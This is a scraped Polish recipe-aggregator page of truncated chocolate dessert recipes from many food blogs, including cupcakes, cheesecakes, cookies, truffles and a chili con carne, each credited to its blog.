Mocno kakaowe babeczki z truskawkami i kawałkami mlecznej czekolady. Babeczki wbrew pozorom nie są słodkie. Wilgotny, wspaniały deser na każdą porę roku. Truskawki śmiało zastąpić możecie innymi, ulubionymi owocami, a będą równie pyszne Składniki na babeczki: 2 jajka 80ml jogurtu naturalnego 120ml oleju 120ml mleka 200g mąki pszennej 200g cukru 60g kakao łyżeczka proszku do pieczenia 300g truskawek, pokrojonych(...)sporą kostkę 100g posiekanej mlecznej czekolady Przygotowanie babeczek: Piekarnik rozgrzewamy do 180st. Mokre składniki miksujemy ze sobą, dosypujemy wszystkie suche składniki, mieszamy do połączenia całości. Przelewamy ciasto do foremek na babeczki, do 3/4 ich wysokości. W każdą napełnioną foremkę wkładamy po kilka truskawek. Posypujemy odrobiną posiekanej czekolady. Wstawiamy do nagrzanego piekarnika, pieczemy 30 minut, w 180st. Babeczki podajemy po przestygnięciu

NiePieprz.pl
Owsiane ciasteczka z marchewką i czekoladą 96

Pyszne, zdrowe i bezglutenowe ciasteczka owsiane z dodatkiem marchewki i czekolady kokosowej. Jakiś czas temu zorganizowałam na Instagramie szybką zabawę z nagrodą —>KLIK. Nie ma to jak jadalne prezenty, więc postanowiłam upiec owsiane ciasteczka. Na moje szczęście nie wszystkie zmieściły się do słoika, więc i ja miałam coś słodkiego do kawy ;) Wyszły pyszne i mam nadzieję, że smakowały(...)proszku do pieczenia spora szczypta soli jajko 2 łyżki roztopionego oleju kokosowego 4 łyżki syropu klonowego 50 g startej drobno marchewki 50 g suszonej żurawiny 2-3 kostki posiekanej czekolady kokosowej Piekarnik nagrzewamy do 180 stopni. Składniki mieszamy w misce, najlepiej za pomocą widelca. Z ciasta formujemy niewielkie ciasteczka i ukladamy je na blaszce wyłożonej papierem do pieczenia. Pieczemy około

Mienta blog
Słodkie pucharki 135

Zapraszam na mega słodkie pucharki. Czasami możemy sobie pozwolić na taki kaloryczny i pysznościowy deser. Zapraszam Składniki: 50 g gorzkiej czekolady 2 łyżki mleka 1 deser czekoladowy (150g) 200 ml śmietanki 30 % schłodzonej 1 op. śmietanki w proszku 1 banan 50 g kremu karmelowego 3 łyżeczki pokrojonych orzechów Przygotowanie: Czekoladę ścieramy na tarce, przekładamy do miseczki i dodajemy mleko. Wstawiamy(...)mikrofalówki na 30 sekund. Rozpuszczoną czekoladę mieszamy i dodajemy do niej deser czekoladowy. Jeszcze raz mieszamy i przekładamy do pucharków które przechylamy. Odstawiamy do stężenia. W tym czasie ubijamy śmietankę razem ze śmietanką w proszku na sztywno. Dodajemy do kremu czekoladowego. Banan obieramy i kroimy w plasterki. Dzielimy na 3 części i układamy banany w pucharkach. Polewamy kremem karmelowym

słodkie i nie tylko historie kulinarne
Wielkanocne ciastka z morelami a'la jajka sadzone 253

których uda się połączyć pyszny smak z niebanalnym wyglądem. I tutaj mamy typowy tego przykład :) Są to kruche, delikatne ciastka, wypełnione kremem na bazie sera twarogowego z dodatkiem białej czekolady i odrobiny ajerkoniaku, zwieńczone owocami moreli z syropu. Dodatkowo, taka forma ciastek, może służyć jako niepowtarzalna ozdoba Wielkanocnego stołu.  Składniki (na ok. 12 ciastek): Kruche ciasto: 170 g mąki(...)masła 50 g cukru pudru 1 całe jajko (M) ½ łyżeczki cukru wanilinowego 1 kropla olejku migdałowego szczypta soli Masa serowa: 200 g sera twarogowego (zmielonego) 50 g białej czekolady 10 g masła 1 łyżka ajerkoniaku 1 łyżka cukru ziarenka z ¼ laski wanilii Dodatkowo:  1 mała puszka moreli w syropie Zaczynamy od kruchego ciasta. Mąkę przesiać, dodać cukier, cukier wanilinowy

Świat Ciasta
Wegański chlebek bananowo-kokosowy :) 169

dopiero jest przepyszny! Mimo braku dodatku jajek pięknie wyrasta i nie opada. Ma cudowny bananowo-kokosowy smak z lekką nutką cynamonu. Idealnie słodki, naładowany pysznymi dodatkami w postaci czekolady i chipsów kokosowych. Po prostu przepyszny! 😜 Składniki: 2 średnie dojrzałe banany  200 g mąki orkiszowej  2 łyżeczki proszku do pieczenia 1 duża łyżka nasion chia(...)wanilią  1 łyżeczka cynamonu  50 g oleju kokosowego (Cocofina) 60 g nektaru kokosowego (Cocofina) 80 g płatków owsianych  50 g chipsów kokosowych (Cocofina) 50 g gorzkiej czekolady wegańskiej  Dodatkowo: banan chipsy kokosowe (Cocofina) Przygotowanie: Banana pokrój na mniejsze kawałki. Przełóż do malaksera i miksuj wraz z mąką, proszkiem do pieczenia, nasionami chia, migdałami, mlekiem, cukrem waniliowym

Zdrowie na języku :P
Babka cynamonowa 121

Można go wykorzystywać w marynatach, dodawać do kawy. Użycie małej ilości cynamonu do przyprawienia ryb sprawia, iż znika ich nieprzyjemny zapach. U Nas dzisiaj ucierana babka cynamonowa, oblana gorzką czekoladą i obsypana orzechami. W sam raz do popołudniowej kawy. Polecam!       Babka cynamonowa   Składniki:   250g masła lub margaryny w temperaturze pokojowej 2 szklanki mąki niepełna szklanka(...)drobnego cukru do wypieków 2 łyżeczki proszku do pieczenia 4 jajka (białka i żółtka osobno) łyżeczka cynamonu szczypta soli łyżka likieru cynamonowego (opcjonalnie)   Dodatkowo: 100g gorzkiej czekolady + łyżka oleju garść posiekanych orzechów włoskich   Wykonanie:   Mąkę przesiewamy z proszkiem i cynamonem. Masło ucieramy z cukrem na jasną puszystą masę, dodajemy po 1 żółtku, miksując po każdym dodaniu

Smak mojej kuchni
Sernik pomarańczowy 181

pewno zachwyci domowników i gości. Przepis ze strony Kwestia Smaku. Niebo w gębie!       Sernik pomarańczowy   Składniki:   Na spód czekoladowo - kakaowy: 65g ciemnej czekolady 65g miękkiego masła 50g drobnego cukru do wypieków 1 jajko 40g mąki 1 łyżeczka przyprawy korzennej do piernika (opcjonalnie)   Na masę serową: 1 kg twarogu, dwukrotnie zmielonego szklanka cukru(...)otarta z połowy pomarańczy pół szklanki kandyzowanej skórki pomarańczowej (opcjonalnie)   Na masę śmietanową: pół szklanki dżemu pomarańczowego lub morelowego 4 łyżki kwaśnej, gęstej śmietany 18%   Wykonanie: Spód: Czekoladę topimy w kąpieli wodnej, odstawiamy lekkiego przestudzenia. Masło miksujemy z cukrem na jasny, puszysty krem. Do masła dodajemy przestudzoną czekoladę, mąkę, przyprawę do piernika. Jajko miksujemy na pianę, dodajemy

Smak mojej kuchni
Tarta czekoladowa z truskawkami 125

spód: 200g mąki 100g zimnego masła 2 łyżki cukru pudru 2 łyżki zimnej wody 2 łyżki kakao szczypta soli   Na krem czekoladowy: 250ml śmietanki kremówki 30% 100g gorzkiej czekolady   Dodatkowo: 200g truskawek kilka łyżek tężejącej galaretki truskawkowej   Wykonanie:   Kruchy spód: mąkę przesiewamy z kakao i cukrem pudrem, dodajemy zimne mało i wodę i zagniatamy gładkie ciasto(...)pieczenia, obciążamy fasolą, grochem lub kulkami ceramicznymi, pieczemy około 15 minut w 180 stopniach, zdejmujemy obciążenie i dopiekamy jeszcze 15 minut. Ciasto odkładamy do wystudzenia.   Krem czekoladowy: czekoladę rozpuszczamy w kąpieli wodnej, odstawiamy do lekkiego przestudzenia. Kremówkę ubijamy na sztywno, dodajemy lekko ciepłą czekoladę i miksujemy na jednolity krem.   Krem wykładamy na wystudzone kruche ciasto. Dekorujemy plasterkami

Smak mojej kuchni
Sernik z musem czekoladowym 132

najserdeczniejsze życzenia. Z tej okazji dla swojej Mamy przygotowałam sernik z musem czekoladowym. Pyszne połączenie wilgotnego i zwartego sernika z lekkim i puszystym musem czekoladowym. Do musu można użyć czekolady gorzkiej i mlecznej pół na pół. Przepis z najlepszej strony z wypiekami Moje Wypieki . Polecam!   Sernik z musem czekoladowym   Składniki na tortownicę 25cm:   Na spód: 160g(...)zmielonego 250ml kremówki 30 lub 36% 3/4 szklanki drobnego cukru do wypieków 3 jajka 3 łyżki mąki pszennej 2 łyżeczki ekstraktu z wanilii   Na mus czekoladowy: 200g gorzkiej czekolady 50g drobnego cukru do wypieków 3 jajka 100ml kremówki 30 lub 36% 3 łyżki wody 30g masła łyżka likieru kawowego   Dodatkowo: wiórki czekoladowe do dekoracji   Wykonanie: Spód: ciasta

Smak mojej kuchni
Ciasto Maxi King 132

dodatkiem masy kajmakowej więc jeśli lubicie mocno słodkie ciasta to ta propozycja Wam posmakuje. Masa mleczna wykonana jest na mleku w proszku, jest dość zwarta. Wierzch oblany czekoladą i prażonymi orzechami.... Mmm niebo w gębie! Przepis ze strony Świat Ciasta.       Ciasto Maxi King   Składniki na blaszkę 23x33cm:   Do przekładania: około 400g herbatników   Na masę(...)prawdziwą wanilią lub laska wanilii 400-500g mleka w proszku (nie w granulkach!)   Na masę kajmakową: puszka gotowej masy krówkowej   Na polewę czekoladową: 2 tabliczki czekolady deserowej lub mlecznej 100g orzeszków ziemnych niesolonych lub laskowych 1/3 szklanki śmietanki kremówki (30 lub 36%)   Wykonanie:   Orzeszki grubo siekamy i podprażamy na słoty kolor na suchej patelni. Odstawiamy

Smak mojej kuchni
Wegańskie kakao 136

kakao było spożywane przez pre-kolumbijską ludność zamieszkującą Yucatan (Majów i Olmeków). Hiszpański żołnierz biorący udział w podboju Meksyku twierdził, że Moctezuma II, cesarz Azteków, do każdego posiłku spożywał czekoladę serwowaną w złotym pucharze. Najczęściej doprawianą wanilią i innymi przyprawami. Spożycie czekolady na dworze było więc ogromne. Nic dziwnego skoro uważano, że to dar od Boga Quetzalcoatl. Ziarna kakaowca używane(...)podczas gdy kawa zawiera ok 1,2% kofeiny. Najprawdopodobniej obniża też ciśnienie krwi. Pita 2 razy dziennie poprawia ukrwienie mózgu w rejonach odpowiedzialnych za pamięć. Czyli pijcie kakao, gorącą czekoladę na zdrowie, oczywiście jak zwykle wszystko z umiarem ; ) Do przygotowania kakao potrzebujemy (2-4 porcji w zależności od apetytu i wielkości szklanek): Wartośc kaloryczna: ok 730 kcal 100 g nerkowców

Szybko Tanio Smacznie
Gofry czekoladowe bezglutenowe przepis 130

Wyobrażacie je sobie z pomarańczową konfiturą? Składniki : 1 szklanka mąki gryczanej pół szklanki maki ryżowej pełnoziarnistej kakao 2 łyżki jaja 2 sztuki mleko roślinne 1,5 szklanki czekolada gorzka 1/2 sztuki proszek do pieczenia 1,5 łyżeczki cukier puder trzcinowy 2 łyżki Przygotowanie: Posiekałam nożem gorzką czekoladę na małe kawałeczki. Oddzieliłam złotka od białek, z białek ubiłam pianę. Z reszty(...)składników zrobiłam gęste ciasto, dodając pianę z białek i posiekaną czekoladę. Piekłam w  gofry bez tłuszczu

AZgotuj!
Orzechowe trufelki 100

Małe, mocno orzechowe trufelki które pięknie prezentują się na stole a smakują wybornie. Składniki: 200 g ricotty 50 g białej czekolady 1 szkl mąki orzechowej arachidowej + do obtoczenia 2 czubate łyżki mleka pełnego w proszku 1 łyżka mleka 1 łyżeczka oleju kokosowego świeża mięta Przygotowanie: Czekoladę rozpuszczamy razem z łyżką mleka i olejem kokosowym w mikrofalówce ( ok. 1 minuty(...)miski przekładamy ricottę, dodajemy rozpuszczoną czekoladę, 1 szkl mąki orzechowej i mleko w proszku. Mieszamy razem na jednolitą masę i odstawiamy na 30 minut do lodówki. Po tym czasie na płaski talerz wysypujemy mąkę orzechową do obtaczania i wyjmujemy masę z lodówki. Lepimy kulki wielkości orzecha włoskiego i obtaczamy je w mace orzechowej( ok. 30 szt.). Przechowujemy w lodówce. Przed

słodkie i nie tylko historie kulinarne
Ciasto Cassata 204

Tradycyjne, włoskie a dokładnie sycylijskie ciasto przełożone kremem z serka ricotta z dużą ilością namoczonych w alkoholu bakalii, orzechów i czekolady. Szybkie i łatwe do zrobienia, ma ciekawy smak, ale pyszny ;) Polecam! PS Szukasz armatury przemysłowej lub kwasoodpornej? Zajrzyj koniecznie na stronę http://www.saga.info.pl/  - profesjonalne rozwiązania, gwarancja jakości i trwałości :) Jeżeli przygotowałaś/eś danie z tego przepisu, proszę(...)cukru 1/2 łyżeczki proszku do pieczenia Masa z serka ricotta: 800 g sera ricotta 275 g cukru miąższ z 1/2 laski wanilii (opcjonalnie) 2 łyżki drobno posiekanej czekolady 2 łyżki rodzynek lub suszonej żurawiny 2 łyżki suszonych moreli lub śliwek 2 łyżki solonych pistacji + 400 ml kremówki 1,5 łyżki cukru pudru 2 usztywniacze do śmietany 1/4 szklanki białego rumu

Domowa cukiernia Ewy
Muffinki czekoladowe 206

Świetna propozycja na mały słodki i bardzo czekoladowy deser. Muffinki są bardzo puszyste i wilgotne, z drobinkami czekolady w środku. Aby były jeszcze bardziej czekoladowe można polać polewą czekoladową. Szybko się robi i szybko znikają. składniki: 200 g mąki pszennej 3 łyżki kakao 2 łyżeczki proszku do pieczenia 0,5 szklanki cukru 100 g masła 2 jajka 1 szklanka śmietany(...)ulubionej ciemnej czekolady, u mnie deserowa Składniki przygotować wcześniej aby były w temperaturze pokojowej. Masło rozpuścić w rondelku i wystudzić. W jednej misce wymieszać składniki suche czyli mąkę, kakao, cukier i proszek do pieczenia. W drugiej misce wymieszać składniki mokre czyli śmietanę, jajka i roztopione masło. Zawartość obu misek wymieszać. Czekoladę posiekać na małe kawałki i dodać do masy. Ponownie

Monia miesza i gotuje
Makowo- bakaliowe mini babeczki do koszyczka 102

jajka, 2/3 szklanki cukru pudru, 1,5 szklanki mąki, 1 łyżeczka proszku do pieczenia, 2 łyżki suchego maku, 100g mieszanki keksowej HELIO, 30g skórki pomarańczowej HELIO, 1 tabliczka białej czekolady, kolorowa posypka i perełki do dekoracji. PRZYGOTOWANIE: 1. Mleko mieszam trzepaczką razem z jajkami i olejem. W osobnym naczyniu mieszam mąkę razem z cukrem pudrem, proszkiem do pieczenia i makiem(...)skórkę pomarańczową. Mieszam. 3. Ciasto przekładam do wysmarowanych tłuszczem i wysypanych bułką tartą foremek na babeczki (do ¾ wysokości). Babeczki piekę około 25 minut w temperaturze 200 stopni. 4. Czekoladę rozpuszczam nad kąpielą wodną. Czekoladą polewam wierzch przestudzonych babeczek. Babeczki posypuję kolorową posypką i perełkami. Do przygotowania babeczek wykorzystałam mieszankę keksową i skórkę pomarańczową, którą otrzymałam do testowania od firmy HELIO

Tradycyjna kuchnia Kasi
Galaretka 150

zastygnięciu pokrojona, a następnie ułożona na talerzach lub miseczkach – najlepiej kryształowych. Świetnie również czuła się w różnego rodzaju szklankach kieliszkach, ułożona warstwami. Okryta bitą śmietaną i posypana tartą czekoladą, rodzynkami... tym co było akurat dostępne. Pięknie wyglądała i pysznie smakowała. Przygotowanie zajmowało kilka minut, później na chwilę do lodówki i mogła pojawić się na stole jako deser na zakończenie obiadu(...)podwieczorek lub słodkości podczas imprezy. Galaretki owocowe w różnych kolorach (przynajmniej trzy), śmietana kremówka (około 500 ml na trzy galaretki), cukier puder, wanilia, czekolada do przybrania Przygotować galaretki według przepisu na opakowaniu. 1 sposób: Wlać do naczyń z płaskim dnem, odstawić do zastygnięcia. Zastygnięte galaretki pokroić, przełożyć do salaterki, ułożyć w pucharkach, lub na talerzykach. 2 sposób: trochę galaretki wlać

królestwo garów
M i razowe ciastka... 98

biedakowi, aby chrupiąc wieczorem nie miał wyrzutów sumienia, ze idzie mu w oponkę.... Zapewne tez sa kaloryczne... ale za to z błonnikiem i z gorzką czekoladą i z mąką razowa ....  M zachwycony zabrał nawet porcję do pracy ... najbardziej zachwycony był M mniejszy.  Zjadł i moja porcje :) A wiec do rzeczy .. mój doświadczalny(...)pierwszy i mam nadzieje ze nie ostatni przepis na pełnoziarniste ciastka z pieprzem i czekolada :) - 120g miękkiego masła - 50g cukru -1 łyżeczka melasy  - 1 jajko - 150g maki razowej z dodatkiem ziaren ( na jakie tylko macie ochotę) ja użyłam mąki allison seed & grain  wholemeal

Piekarz-Kucharz-Garkotłuk
babeczki z gniazdkiem i wiśniowym środkiem 124

Składniki na 6 sztuk: 50 g masła 70 g cukru jajko 70 g mąki 1/2 łyżeczki proszku do pieczenia 50 ml mleka 15 g kakao  dodatkowo: 150 g czekolady deserowej 3 łyżki wiśni z konfitury 18 jajeczek cukrowych  (użyłam takich z czekoladą i orzeszkiem w środku)   Masło rozpuścić i wystudzić. Jajko ubić z cukrem, dodać przesianą mąkę(...)proszkiem, kakao i mleko. Na końcu wlać masło i wymieszać. Ciasto przełożyć do papilotek i piec w 180*C około 15 minut. Wystudzić i wydrążyć środki, napełnić je wiśniami. Czekoladę rozpuścić nad parą, przełożyć do worka z małym otworkiem i wyciskać na babeczki gniazdka. Na wierzchu ułożyć po 3 jajeczka

Domowa Cukierenka-Domowa Kuchnia
Herbaciany naked cake 196

torebek herbaty Irish Cream TEEKANE Herbatę zaparzamy w szklance ok 10 minut. Część używamy do kremu, a  resztę zużywamy do nasączenia biszkoptu. Krem herbaciany: 2 tabliczki białej czekolady 100 ml naparu herbacianego* 3 płatki żelatyny 400 ml kremówki (30-36%) Rozpuszczamy czekoladę w naparze z herbaty. Jeśli pozostają nierozpuszczone kawałki, to śmiało możemy je podgrzać w kąpieli wodnej. Żelatynę(...)zalewamy zimną wodą, aż zmięknie i rozpuszczamy w dodatkowej porcji naparu herbacianego. Dopiero wtedy łączymy z czekoladą. Studzimy i łączymy z ubitą śmietaną. Nasączony blat biszkoptu po jego zewnętrznej stronie pokrywamy warstwą kremu herbacianego, a środek musem z mango (jeśli zbyt nam stężał, to chwilkę podgrzejmy). Przykrywamy drugim biszkoptem i dekorujemy wierzch, ponownie kremem herbacianym

Karczma Honorietty
Ciasto Kinder Country bez pieczenia (identyczne jak batonik) 290

Ciasto 200 g masła pół szklanki pełnego mleka 2/3 szklanki cukru 10 g cukru waniliowego 4 szklanki pełnego mleka w proszku 3 szklanki płatków śniadaniowych Kangus Polewa tabliczka mlecznej czekolady 1/4 szklanki śmietany kremówki Masło, mleko, cukier i cukier waniliowy włożyć do garnuszka i podgrzać. Ostudzić i do lekko ciepłej masy dodać mleko w proszku. Zmiksować dokładnie. Masa konsystencją będzie(...)przypominać plastyczną białą czekoladę, jest gęsta. Dodać płatki i wymieszać (łyżką lub ręką, nie mikserem). Przełożyć do formy o wymiarach 20x20 cm wyłożonej papierem do pieczenia, ugnieść wierzch. Czekoladę rozpuścić w kąpieli wodnej. Dodać kremówkę i wymieszać. Ostudzić, polać ciasto. Przechowywać w lodówce. Smacznego

Słodkie inspiracje
Waniliowe babeczki z czekoladą 152

delikatne o mocnym waniliowym smaku,babeczki dla naszych milusińskich i nie tylko. Rozchodzą się bardzo szybko ale i bardzo szybko się je robi. W środek każdej babeczki wcisnęłam kostkę czekolady mlecznej ale każda inna świetnie tutaj pasuje. Składniki: 2 szklanki mąki pół szklanki cukru 1 łyżka cukru waniliowego 1 jajko 1 łyżeczka proszku do pieczenia łyżeczka pasty waniliowej dowolna czekolada(...)albo rozmieszać łyżką. Mokre składniki dodać do suchych i zmiksować. Blaszkę na babeczki wyłożyć papilotkami i wkładać ciasto tak aby było zakryte dno. Układać na każdym po jednej kostce czekolady. Przykryć pozostałym ciastem. Piec w 180°C około 30 minut. Studzić na kratce. Dodaj do listy blokowanych banerów

Pysznie & Pięknie
CIASTECZKA Z KASZĄ MANNĄ 121

manny , ½ kostki masła, 1/3 szkl. brązowego cukru, 100 g mąki tortowej , 2/3 łyżeczki proszku do pieczenia, 1 łyżka cukru waniliowego, 1 jajko, 1 łyżka kakao Polewa: 30 g mlecznej czekolady, 30 g gorzkiej czekolady WYKONANIE  Z podanych składników zagniatamy ciasto, wkładamy do woreczka foliowego, a następnie do lodówki na 30 minut. Po wyjęciu rozwałkowujemy na grubość(...)Wycinamy kółka, układamy na blasze wyłożonej pergaminem, pieczemy 10-15 minut w 170 stopniach. Po wystudzeniu polewamy rozpuszczoną w kąpieli wodnej czekoladą

słodki bratek
Torcik Wielkanocny 154

Torcik Wielkanocny Pyszny torcik z bitą śmietaną i gorzką czekoladą, przełożony dżemem. Bardzo smakowicie wygląda na Wielkanocnym stole . Rurki czekoladowe i posypkę waflową otrzymałam od  Cukieteria.pl Składniki : 2 jajka 2 łyżki cukru 2 łyżki mąki pszennej 1 łyżka mąki ziemniaczanej 0,5 łyżeczki proszku do pieczenia sól -szczypta Krem 1 - szkl śmietany kremówki 36% 80  g  gorzkiej(...)czekolady masło -2 łyżki dżem wiśniowy Dodatkowo : rurki czekoladowo - cytrynowe posypka waflowa - niebieska jajka cukiernicze baranek wielkanocny  Przygotowanie : Biszkopt  Białka oddzielić od żółtek. Białka ubić ze szczyptą soli na sztywno, dodać cukier, żółtka dalej ubijać. Mąki wymieszać z proszkiem do pieczenia, przesiać do białek, delikatnie wymieszać. Przelać do wysmarowanej tłuszczem , mini  tortownicy o średnicy 10 cm. Piec

Kuchnia Danusi
Kokosowe kuleczki bez mleka krowiego. 90

efekt tego wyzwania.  szklanka wody 7 łyżek manny ( błyskawiczna) puszka mleka kokosowego 200 g wiórków kokosowych ksylitol lub stewia do smaku 3 - 4 krakersy 5 kostek gorzkiej czekolady Wodę zagotowujemy, wsypujemy kaszkę, dokładnie mieszamy. Zdejmujemy z ognia, dodajemy po łyżce  mleczka kokosowego, gdy wszystko się ładnie połączy, słodzimy do smaku i wsypujemy  3/4 wiórek, mieszamy aby wszystko(...)wodzie namoczyć łyżkę, półtorej żelatyny i dodać. Jeśli zaś ktoś może mleko, może dodać takie w proszku. Ono też ładnie zwiąże rzadką konsystencję.  Krakersy kruszymy na drobno, czekoladę ścieramy na wiórki. Łyżeczką nabieramy porcję masy i formujemy wilgotnymi dłońmi kulki. Obtaczając w krakersach, czekoladzie lub wiórkach, w czym kto bardziej gustuje. Dla mnie, wersja z krakersami to numer jeden

Dieta moja pasja
Domowe słodkości – Nutella i Masło Orzechowe 203

Przechowujemy w lodówce do 1 miesiąca.       Nutella.     Potrzebne składniki: 100 g orzechów laskowych 2 łyżki mleka w proszku 120 ml mleka 50 g gorzkiej czekolady 100 g czekolady mlecznej Orzechy rozkładamy na blaszce i pieczemy przez 15 minut w piekarniku nagrzanym do 180 C. Od czasu do czasu mieszamy. Uprażone orzechy rozkładamy na ściereczce(...)zdejmujemy łupiny. Następnie wkładamy je do blendera i miksujemy je na gładką masę (10 – 15 minut) W wodnej kąpieli rozpuszczamy obie czekolady. Dodajemy je do orzechowej masy i znów miksujemy. Mleko łączymy z mlekiem w proszku. Dokładanie mieszamy i doprowadzamy do wrzenia. Od razu po zagotowaniu zdejmujemy z ognia. Studzimy i dodajemy do masy orzechowo – czekoladowej. […] Artykuł

Niunioki
NALEŚNIKI Z TWAROGIEM I DOMOWĄ POLEWĄ CZEKOLADOWĄ 154

Składniki na nadzienie: około 50 dag twarogu półtłustego lub tłustego, cukier puder, opakowanie cukru wanilinowego, 1-2 jajka (w zależności od ich wielkości). Składniki na polewę: 350 g gorzkiej czekolady, 350 ml śmietany 30%. * Można zmniejszyć lub zwiększyć proporcje. Ważne, aby zawsze było użyte tyle samo ml śmietany, ile gram czekolady. :) Przygotowanie: Mąkę, sól, cukier, wodę i mleko dokładnie mieszam(...)rozcieram twaróg z jajkiem i cukrami (ilość cukru pudru zależy od Waszego indywidualnego smaku, ja zrobiłam słodsze nadzienie, ponieważ polewa czekoladowa nie jest zbyt słodka). Polewa: śmietanę podgrzewam, dodaję czekoladę podzieloną w kostki, chwilę czekam, zdejmuję z ognia, mieszam do uzyskania gładkiej konsystencji

JejKuchnia
Czekoladowo-malinowy naked cake 156

Zainspirowani przepisem Krzysztofa Ilnickiego na naked cake jaki robiliśmy w programie „Bake Off – Ale Ciacho” przygotowaliśmy własną wersję takiego torcika. To połączenie gorzkiej czekolady, śmietanki wysoko procentowej, malin i orzechów, które dały nasz czekoladowo-malinowy naked cake oczywiście w wersji bezglutenowej :) Połączenie kremu z gorzkiej czekolady, z kakaowym biszkoptem, z musem z malin

Kuchenne Wariacje
STYLIZACJA STOŁU NA WIELKANOC I POTRÓJNIE CZEKOLADOWA BABKA WIELKANOCNA 172

babkę potrójnie czekoladową! PRZEPIS NA BABKĘ WIELKANOCNĄ SKŁADNIKI: - 5 jaj rozmiar L - 250 ml oleju rzepakowego - 1 łyżeczka cukru waniliowego - 3 łyżki kakao - 150 g kuleczek czekoladowych bądź posiekanej czekolady mlecznej - 350 g mąki pszennej np. tortowej - 2 łyżeczki proszku do pieczenia - 120 g cukru pudru - 3 łyżki śmietany 36% - 2 łyżki mleka POLEWA: - 150 g białej karmelowej czekolady(...)Babkę całkowicie studzimy na kratce. Jeśli pieczesz w formie silikonowej, pamiętaj że jeszcze gorącą babkę wyciągamy z formy! POLEWA: Śmietankę podgrzewamy do temp około 60 stopni C. Dodajemy czekoladę i rozpuszczamy. Przestudzoną masą polewamy babkę. Posypujemy przez sitko kakao. Zdobimy np. tak, jak ja, owocami. Gotowe! Życzę Wam smacznego! Zapraszam Was również do sklepów aTab i Home

SMYKWKUCHNI
Chili con carne 170

ząbki czosnku łyżeczka ostrej papryki łyżeczka oregano łyżeczka kminu rzymskiego łyżeczka czarnego pieprzu łyżeczka cukru 1/2 łyżeczki soli 60 g boczku wędzonego 430 ml passaty pomidorowej 2 kostki gorzkiej czekolady papryka czerwona papryczka chili puszka czarnej fasoli konserwowej ( 240 g po odsączeniu ) puszka kukurydzy konserwowej ( 235 g po odsączeniu ) WYKONANIE: 1. W garnku rozgrzewamy łyżkę oliwy z oliwek. Dodajemy drobno(...)doprawiamy czarnym pieprzem, cukrem i solą. Dokładnie mieszamy. 7. Dusimy pod przykryciem ok 20 min. 8. Nastepnie dodajemy pokrojona w kostkę czerwona paprykę, posiekaną papryczkę chili,2 kostki gorzkiej czekolady i 130 ml passaty pomidorowej. 9. Dokładnie mieszamy i dusimy pod przykryciem ok 10 min. 10. Do garnka dodajemy odsączoną i przepłukaną na sicie czarną fasolę i kukurydzę. Mieszamy

Atlas Smaków
Ciasteczka z czekoladą 142

Łatwe Tanie Przepis na ciasteczka z czekoladą. Kruche, pyszne i szybkie w przygotowaniu. Składniki Ciasto: 4 szklanki mąki 1 szklanka cukru 1 cukier wanilinowy 1/4 łyżeczki soli 1 kostka masła lub margaryny 2 jajka 1 łyżeczka sody oczyszczonej czekolada Sposób przyrządzenia 1 Przygotowanie ciasta: Miękkie masło lub margarynę utrzeć z cukrem i […] Artykuł Ciasteczka z czekoladą pochodzi z serwisu

PysiaGotuje.pl
Budyń marchewkowy 156

edycji Lubelskiego kociołka udział biorą: Marta  Edyta  Dorota Małgosia Agnieszka Składniki (na 2 porcje): 250ml mleka 1 marchew (ok 150g) 1-2 kostki białej lub karmelowej czekolady 0,5 łyżeczki mąki ziemniaczanej skórka otarta z pomarańczy 2 łyżeczki dżemu pomarańczowego cynamon Marchew obrać, pokroić w półtalarki. 200ml mleka zagotować, do mleka dodać marchew i skórkę pomarańczy, gotować(...)małym ogniu aż marchewka będzie miękka. Mleko z marchewką zmiksować blenderem na gładki krem, dodać czekoladę i wymieszać, żeby czekolada się rozpuściła. Mus mleczno-marchewkowy ustawić na małym ogniu. Pozostałe mleko połączyć z mąką ziemniaczaną, wlać do musu, mieszać, aż zacznie bulgotać i powstanie gładki jednolity budyń. Budyń przełożyć do miseczek, na wierzchu każdego wyłożyć po łyżeczce dżemu pomarańczowego, oprószyć

Obiad gotowy
Murzynek z jabłkami, biszkoptami i masą budyniową z kokosem 323

jabłka i młody, bo coś słodszego i z kokosem też. Tak powstało to ciasto. Ciasto, jabłka z galaretką, biszkopty okrągłe, masa z kokosem i ciasto, wierzch polewa z gorzkiej czekolady. Od Helio dostałam ostatnio kilka produktów w tym wiórki kokosowe, które jak najbardziej się przydały :-) Miłego dnia Wam życzę :-) Blaszka 23x33 cm Składniki ciasto: 250 g masła 200 g cukru(...)budyń może być letni. 2. Masło ucieramy mikserem, dodajemy stopniowo ostudzony budyń, na końcu wiórka kokosowe. Dodatkowo: biszkopty okrągłe (z całej paczki zostało mi 4 sztuki) 1/2 opakowania gorzkiej czekolady 2 łyżki mleka 1 łyżka masła  Czekoladę, mleko i masło dajemy do miski i rozpuszczamy w kąpieli wodnej. Przełożenie ciasta: blat ciasta - masa z jabłkami - biszkopty - masa kokosowa - drugi

kruche babeczki
Deser z pomarańczami, bananem, lodami i śmietaną 130

deserowi niepowtarzalnego smaku. Składniki 0,5 l śmietany kremówki 4 łyżki serka mascarpone 3 łyżki cukru pudru 1 łyżeczka cukru wanilinowego 2 pomarańcze 2 banany lody śmietankowe lub waniliowe czekolada do dekoracji Sposób przyrządzenia 1 Do miski przelać dobrze schłodzoną śmietanę, dodać serek mascarpone. Ubijać mikserem do uzyskania sztywnej masy, dodać cukier puder i cukier wanilinowy, wymieszać. 2 Pomarańcze(...)banany obrać ze skórki, pokroić w kostkę lub plastry według uznania. Przełożyć do miseczki i razem wymieszać. 3 Deser układać warstwami: śmietana+lody+owoce+śmietana+czekolada. Wierzch można udekorować jeszcze odrobiną owoców i dopiero posypać czekoladą. Artykuł Deser z pomarańczami, bananem, lodami i śmietaną pochodzi z serwisu Blog kulinarny Pysiagotuje.pl

PysiaGotuje.pl
Ciasto czekoladowe 113

bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Składniki: 120 g masła 1,5 szklanki   cukru 3   jajka kilka kropel zapachu waniliowego 110 g gorzkiej czekolady 260 g mąki tortowej 35 g kakao 2 łyżeczki proszku do pieczenia 1,5 szklanki mleka Wszystkie składniki powinny być w temperaturze pokojowej. Mąkę z kakao i proszkiem przesiać, odstawić(...)Czekoladę rozpuścić w kąpieli wodnej, przestudzić. Masło utrzeć z cukrem.  Dodawać jajka, jedno po drugim, miksując po każdym dodaniu. Stopniowo, łyżka po łyżce, dodawać czekoladę, ciągle miksując. Dodać mąkę i wymieszać delikatnie rózgą kuchenną. Na koniec w 4 turach dodawać mleko, wmieszać delikatnie do ciasta.  Formę o wymiarach 25x40 wyłożyć papierem do pieczenia, przelać ciasto i wyrównać. Pieczemy

kulinarnyswiatdomi
